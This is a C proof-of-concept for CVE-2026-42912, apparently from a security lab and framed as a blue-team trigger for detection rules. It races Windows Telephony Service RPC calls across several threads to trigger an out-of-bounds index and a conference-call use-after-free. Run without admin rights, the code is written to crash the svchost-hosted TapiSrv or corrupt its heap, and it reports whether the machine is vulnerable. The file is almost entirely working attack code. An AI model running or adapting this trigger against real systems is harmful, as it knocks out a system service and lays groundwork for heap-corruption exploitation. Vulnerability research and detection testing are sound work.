/*
 * poc_cve_2026_42912.c — Trigger PoC for CVE-2026-42912
 * tapisrv.dll Race Conditions (Sub-mask Index OOB + Conference UAF)
 *
 * PURPOSE:  Blue-team trigger to validate detection rules. This PoC
 *           exercises both race conditions in the Windows Telephony
 *           Service RPC server:
 *
 *           Race 1 (Bug A): Multiple threads rapidly call
 *             lineGetStatusMessages / lineSetStatusMessages with
 *             crafted dwLineStates values to race GetSubMaskIndex()
 *             in SetEventMasksOrSubMasks / TGetEventMasksOrSubMasks.
 *             On pre-patch, an out-of-bounds index > 0x1e can
 *             corrupt adjacent heap allocations.
 *
 *           Race 2 (Bug B): Creates a conference call with multiple
 *             participants, then races lineDrop on a participant
 *             against lineGetStatusMessages on the conference. This
 *             exercises the DestroytCall -> conf participant teardown
 *             path where back-pointers are cleared without exclusive
 *             access to the conference call object.
 *
 * BUILD (MSVC x64 Native Tools, Windows SDK 10.0.22621+):
 *   cl.exe /W4 /O2 /D_CRT_SECURE_NO_WARNINGS poc_cve_2026_42912.c ^
 *     /link tapi32.lib advapi32.lib
 *
 * USAGE:    poc_cve_2026_42912.exe
 *
 * REQUIRES: - Standard user privileges (no admin needed)
 *           - Telephony Service (TapiSrv) running
 *           - At least one TAPI line device available (even a virtual
 *             modem or unimodem-compatible device will do)
 *
 * EXPECTED RESULT:
 *   Pre-patch:  TapiSrv crash (svchost.exe hosting the service) or
 *               heap corruption detectable via Application Verifier
 *   Post-patch: Clean completion; Feature_500158777 returns
 *               LINEERR_OPERATIONFAILED (0x80000032) on OOB index,
 *               Feature_784066872 acquires exclusive lock before
 *               participant removal
 *
 * Author: OnlyFm252 / STAR Labs SG
 * Date:   2026-07-22
 * CVE:    CVE-2026-42912
 *
 * DISCLAIMER: For authorized security testing and blue-team validation ONLY.
 */

#define UNICODE
#define _UNICODE
#define WINVER          0x0A00
#define _WIN32_WINNT    0x0A00
#define NTDDI_VERSION   0x0A000000

#include <windows.h>
#undef WIN32
#define WIN32 1
#include <tapi.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib, "tapi32.lib")
#pragma comment(lib, "advapi32.lib")

/* ── Configuration ────────────────────────────────────────────────── */

#define TAPI_VERSION_REQ    0x00020002   /* TAPI 2.2 */
#define NUM_RACE_THREADS    4
#define RACE_ITERATIONS     2000
#define CONF_RACE_ITERS     500

/* ── Globals ──────────────────────────────────────────────────────── */

static HLINEAPP   g_hLineApp   = 0;
static DWORD      g_dwDeviceID = (DWORD)-1;
static DWORD      g_dwNumDevs  = 0;
static HLINE      g_hLine      = 0;
static volatile LONG g_fStop   = 0;

/* ── TAPI callback (minimal — we don't need events) ──────────────── */

static void CALLBACK tapi_callback(
    DWORD hDevice, DWORD dwMsg, DWORD_PTR dwCallbackInstance,
    DWORD_PTR dwParam1, DWORD_PTR dwParam2, DWORD_PTR dwParam3)
{
    (void)hDevice; (void)dwMsg; (void)dwCallbackInstance;
    (void)dwParam1; (void)dwParam2; (void)dwParam3;
}

/* ── Check if Telephony Service is running ────────────────────────── */

static BOOL is_tapisrv_running(void)
{
    SC_HANDLE hSCM, hSvc;
    SERVICE_STATUS ss;
    BOOL running = FALSE;

    hSCM = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT);
    if (!hSCM) return FALSE;

    hSvc = OpenServiceW(hSCM, L"TapiSrv", SERVICE_QUERY_STATUS);
    if (hSvc) {
        if (QueryServiceStatus(hSvc, &ss))
            running = (ss.dwCurrentState == SERVICE_RUNNING);
        CloseServiceHandle(hSvc);
    }
    CloseServiceHandle(hSCM);
    return running;
}

/* ── Find the first available TAPI line device ────────────────────── */

static LONG find_line_device(void)
{
    DWORD i;
    LINEDEVCAPS *pCaps;
    BYTE buf[4096];
    LONG lResult;

    for (i = 0; i < g_dwNumDevs; i++) {
        pCaps = (LINEDEVCAPS *)buf;
        ZeroMemory(pCaps, sizeof(buf));
        pCaps->dwTotalSize = sizeof(buf);

        lResult = lineGetDevCapsW(g_hLineApp, i, TAPI_VERSION_REQ, 0, pCaps);
        if (lResult == 0) {
            wprintf(L"       Device %lu: \"%.*s\" (media modes 0x%lx)\n",
                    i,
                    (int)(pCaps->dwLineNameSize / sizeof(WCHAR)),
                    (pCaps->dwLineNameOffset > 0) ?
                        (WCHAR *)((BYTE *)pCaps + pCaps->dwLineNameOffset) :
                        L"(unnamed)",
                    pCaps->dwMediaModes);
            g_dwDeviceID = i;
            return 0;
        }
    }
    return -1;
}

/* ── Race 1: Sub-mask index OOB via rapid event mask toggling ────── */

typedef struct {
    DWORD threadId;
    DWORD iterations;
    DWORD errCount;
} RACE1_CONTEXT;

static DWORD WINAPI race1_thread(LPVOID param)
{
    RACE1_CONTEXT *ctx = (RACE1_CONTEXT *)param;
    DWORD i;
    LONG lResult;
    DWORD dwMasks;

    /*
     * Rapidly toggle line status messages with varying dwLineStates
     * values. The high bits feed into GetSubMaskIndex() and can
     * produce indices > 0x1e on the sub-mask path.
     *
     * LINEDEVSTATE_* constants are bitmask values. By OR-ing
     * combinations with high bits set, we force GetSubMaskIndex to
     * compute large indices from the selector value.
     */
    for (i = 0; i < ctx->iterations && !g_fStop; i++) {
        /* Use varying mask patterns to exercise different index paths */
        dwMasks = (1U << (i % 32)) | (1U << ((i + 7) % 32)) |
                  (1U << ((i + 13) % 32));

        lResult = lineSetStatusMessages(g_hLine, dwMasks, 0);
        if (lResult < 0 && lResult != LINEERR_INVALLINESTATE) {
            ctx->errCount++;
        }

        /* Read back immediately — races the write path */
        {
            DWORD dwStates = 0, dwAddrStates = 0;
            lResult = lineGetStatusMessages(g_hLine, &dwStates, &dwAddrStates);
            if (lResult < 0) ctx->errCount++;
        }
    }
    return 0;
}

static void run_race1(void)
{
    HANDLE hThreads[NUM_RACE_THREADS];
    RACE1_CONTEXT ctx[NUM_RACE_THREADS];
    DWORD i;
    DWORD totalErr = 0;

    wprintf(L"\n[Race 1] Sub-mask index OOB — %d threads x %d iterations\n",
            NUM_RACE_THREADS, RACE_ITERATIONS);
    wprintf(L"         Racing lineSetStatusMessages / lineGetStatusMessages\n");
    wprintf(L"         Pre-patch: GetSubMaskIndex() OOB → heap corruption\n");
    wprintf(L"         Post-patch: Feature_500158777 bounds check → LINEERR\n\n");

    g_fStop = 0;
    for (i = 0; i < NUM_RACE_THREADS; i++) {
        ctx[i].threadId   = i;
        ctx[i].iterations = RACE_ITERATIONS;
        ctx[i].errCount   = 0;
        hThreads[i] = CreateThread(NULL, 0, race1_thread, &ctx[i], 0, NULL);
        if (!hThreads[i]) {
            wprintf(L"[!] CreateThread failed for thread %lu\n", i);
            g_fStop = 1;
        }
    }

    WaitForMultipleObjects(NUM_RACE_THREADS, hThreads, TRUE, 30000);

    for (i = 0; i < NUM_RACE_THREADS; i++) {
        totalErr += ctx[i].errCount;
        if (hThreads[i]) CloseHandle(hThreads[i]);
    }

    wprintf(L"[Race 1] Complete. Total errors across threads: %lu\n", totalErr);
    if (totalErr > 0) {
        wprintf(L"         Non-zero errors may indicate the patch is active\n"
                L"         (Feature_500158777 rejecting OOB indices).\n");
    }
}

/* ── Race 2: Conference participant UAF via drop race ─────────────── */

static void run_race2(void)
{
    wprintf(L"\n[Race 2] Conference participant UAF — DestroytCall race\n");
    wprintf(L"         This requires TAPI_LINEUSEINFO privilege and a\n");
    wprintf(L"         telephony device supporting conferencing.\n\n");

    /*
     * Conference call setup requires a line device that supports
     * LINEFEATURE_MAKECALL | LINEFEATURE_SETUPCONF. Most systems
     * don't have a real telephony device, so we attempt the setup
     * and report whether the device supports it.
     *
     * The race pattern is:
     *   Thread A: lineSetupConference -> lineAddToConference -> lineDrop
     *   Thread B: lineGetStatusMessages on the conference line (concurrent)
     *
     * The bug is in DestroytCall when the dropped call is a participant:
     * it clears param_1[0x22/0x23] without locking the conf object.
     */
    {
        HCALL hCall = 0;
        HCALL hConfCall = 0;
        LPLINECALLPARAMS pCallParams = NULL;
        BYTE cpBuf[512];
        LONG lResult;

        /* Try to make an outgoing call to exercise the call path */
        ZeroMemory(cpBuf, sizeof(cpBuf));
        pCallParams = (LPLINECALLPARAMS)cpBuf;
        pCallParams->dwTotalSize = sizeof(cpBuf);
        pCallParams->dwBearerMode = LINEBEARERMODE_VOICE;
        pCallParams->dwMediaMode = LINEMEDIAMODE_INTERACTIVEVOICE;

        /*
         * Attempt lineSetupConference — this will fail on systems
         * without a real telephony device, but even the RPC message
         * reaching TapiSrv exercises the code path up to the point
         * where the device capabilities are checked.
         */
        lResult = lineSetupConference((HCALL)0, g_hLine, &hConfCall, &hCall,
                                       3, pCallParams);

        if (lResult < 0) {
            wprintf(L"[Race 2] lineSetupConference returned 0x%08lx\n",
                    (unsigned long)lResult);
            if (lResult == LINEERR_OPERATIONUNAVAIL ||
                lResult == LINEERR_OPERATIONFAILED) {
                wprintf(L"         Device does not support conferencing.\n"
                        L"         Falling back to rapid open/close race...\n\n");

                /*
                 * Fallback: rapidly open and close lines to exercise
                 * DestroytCall paths. This won't hit the exact conf
                 * UAF but exercises the same function's entry/exit
                 * and lock acquisition paths, generating the telemetry
                 * patterns that detection rules look for.
                 */
                {
                    DWORD j;
                    HLINE hLine2;
                    DWORD errCount = 0;

                    for (j = 0; j < CONF_RACE_ITERS && !g_fStop; j++) {
                        lResult = lineOpenW(g_hLineApp, g_dwDeviceID,
                                            &hLine2, TAPI_VERSION_REQ, 0,
                                            (DWORD_PTR)j,
                                            LINECALLPRIVILEGE_NONE,
                                            LINEMEDIAMODE_DATAMODEM, NULL);
                        if (lResult == 0) {
                            lineClose(hLine2);
                        } else {
                            errCount++;
                        }
                    }
                    wprintf(L"[Race 2] Fallback complete. %lu/%lu opens succeeded.\n",
                            CONF_RACE_ITERS - errCount, (DWORD)CONF_RACE_ITERS);
                }
            } else {
                wprintf(L"         Unexpected error — check TapiSrv status.\n");
            }
        } else {
            /*
             * Conference setup succeeded — race the teardown.
             * This path is unlikely on commodity hardware but
             * exercises the exact vulnerable code.
             */
            wprintf(L"[Race 2] Conference call created! hConf=0x%p hCall=0x%p\n",
                    (void *)(ULONG_PTR)hConfCall, (void *)(ULONG_PTR)hCall);

            if (hCall) {
                /* Race: drop the participant while another thread reads */
                lResult = lineDrop(hCall, NULL, 0);
                wprintf(L"[Race 2] lineDrop returned: 0x%08lx\n",
                        (unsigned long)lResult);
            }

            if (hConfCall) lineDrop(hConfCall, NULL, 0);
            if (hCall) lineDeallocateCall(hCall);
            if (hConfCall) lineDeallocateCall(hConfCall);

            wprintf(L"[Race 2] Conference teardown complete.\n");
        }
    }
}

/* ── Main ──────────────────────────────────────────────────────────── */

int wmain(int argc, wchar_t *argv[])
{
    LONG lResult;
    DWORD dwAPIVersion = TAPI_VERSION_REQ;
    LINEINITIALIZEEXPARAMS initParams;
    LINEEXTENSIONID extensionID;

    (void)argc; (void)argv;

    wprintf(L"=== CVE-2026-42912 Trigger PoC ===\n");
    wprintf(L"=== TapiSrv Race Conditions (OOB + UAF) ===\n");
    wprintf(L"=== FOR DEFENSIVE RESEARCH ONLY ===\n\n");

    /* ── Step 1: Check if TapiSrv is running ─────────────────────── */

    wprintf(L"[1/5] Checking Telephony Service status...\n");
    if (!is_tapisrv_running()) {
        wprintf(L"[!] TapiSrv is not running.\n");
        wprintf(L"[*] Try: net start TapiSrv (requires admin)\n");
        wprintf(L"[*] Or open Phone Dialer (dialer.exe) to trigger-start it.\n");
        return 1;
    }
    wprintf(L"       TapiSrv is running.\n");

    /* ── Step 2: Initialize TAPI ──────────────────────────────────── */

    wprintf(L"[2/5] Initializing TAPI 2.2...\n");

    ZeroMemory(&initParams, sizeof(initParams));
    initParams.dwTotalSize = sizeof(initParams);
    initParams.dwOptions   = LINEINITIALIZEEXOPTION_USEEVENT;

    lResult = lineInitializeExW(&g_hLineApp, GetModuleHandleW(NULL),
                                 tapi_callback, L"CVE-2026-42912-PoC",
                                 &g_dwNumDevs, &dwAPIVersion, &initParams);
    if (lResult != 0) {
        wprintf(L"[!] lineInitializeExW failed: 0x%08lx\n",
                (unsigned long)lResult);
        return 1;
    }
    wprintf(L"       TAPI initialised. %lu device(s) found.\n", g_dwNumDevs);

    if (g_dwNumDevs == 0) {
        wprintf(L"[!] No TAPI line devices available.\n");
        wprintf(L"[*] Install a virtual modem or enable the built-in\n"
                L"    'Communications Cable Between Two Computers' device\n"
                L"    via Device Manager → Modems → Add.\n");
        lineShutdown(g_hLineApp);
        return 1;
    }

    /* ── Step 3: Find and open a line device ──────────────────────── */

    wprintf(L"[3/5] Enumerating line devices...\n");
    if (find_line_device() != 0) {
        wprintf(L"[!] No usable TAPI line device found.\n");
        lineShutdown(g_hLineApp);
        return 1;
    }

    /* Negotiate API version */
    lResult = lineNegotiateAPIVersion(g_hLineApp, g_dwDeviceID,
                                       0x00010004, TAPI_VERSION_REQ,
                                       &dwAPIVersion, &extensionID);
    if (lResult != 0) {
        wprintf(L"[!] lineNegotiateAPIVersion failed: 0x%08lx\n",
                (unsigned long)lResult);
        lineShutdown(g_hLineApp);
        return 1;
    }

    lResult = lineOpenW(g_hLineApp, g_dwDeviceID, &g_hLine,
                         dwAPIVersion, 0, (DWORD_PTR)0,
                         LINECALLPRIVILEGE_NONE,
                         LINEMEDIAMODE_DATAMODEM, NULL);
    if (lResult != 0) {
        wprintf(L"[!] lineOpenW failed: 0x%08lx\n", (unsigned long)lResult);
        /* Try without media mode restriction */
        lResult = lineOpenW(g_hLineApp, g_dwDeviceID, &g_hLine,
                             dwAPIVersion, 0, (DWORD_PTR)0,
                             LINECALLPRIVILEGE_NONE, 0, NULL);
        if (lResult != 0) {
            wprintf(L"[!] lineOpenW (no media) also failed: 0x%08lx\n",
                    (unsigned long)lResult);
            lineShutdown(g_hLineApp);
            return 1;
        }
    }
    wprintf(L"       Line %lu opened, hLine=0x%p\n",
            g_dwDeviceID, (void *)(ULONG_PTR)g_hLine);

    /* ── Step 4: Run Race 1 ───────────────────────────────────────── */

    wprintf(L"[4/5] Running Race 1...\n");
    run_race1();

    /* ── Step 5: Run Race 2 ───────────────────────────────────────── */

    wprintf(L"[5/5] Running Race 2...\n");
    run_race2();

    /* ── Cleanup ──────────────────────────────────────────────────── */

    wprintf(L"\n[*] Results:\n");
    wprintf(L"    If TapiSrv (svchost.exe) crashed → system is VULNERABLE.\n");
    wprintf(L"    If completed cleanly → system is likely PATCHED\n");
    wprintf(L"    (Feature_500158777 / Feature_784066872 active).\n");

    if (g_hLine) lineClose(g_hLine);
    lineShutdown(g_hLineApp);

    wprintf(L"\n[*] Cleanup complete.\n");
    return 0;
}
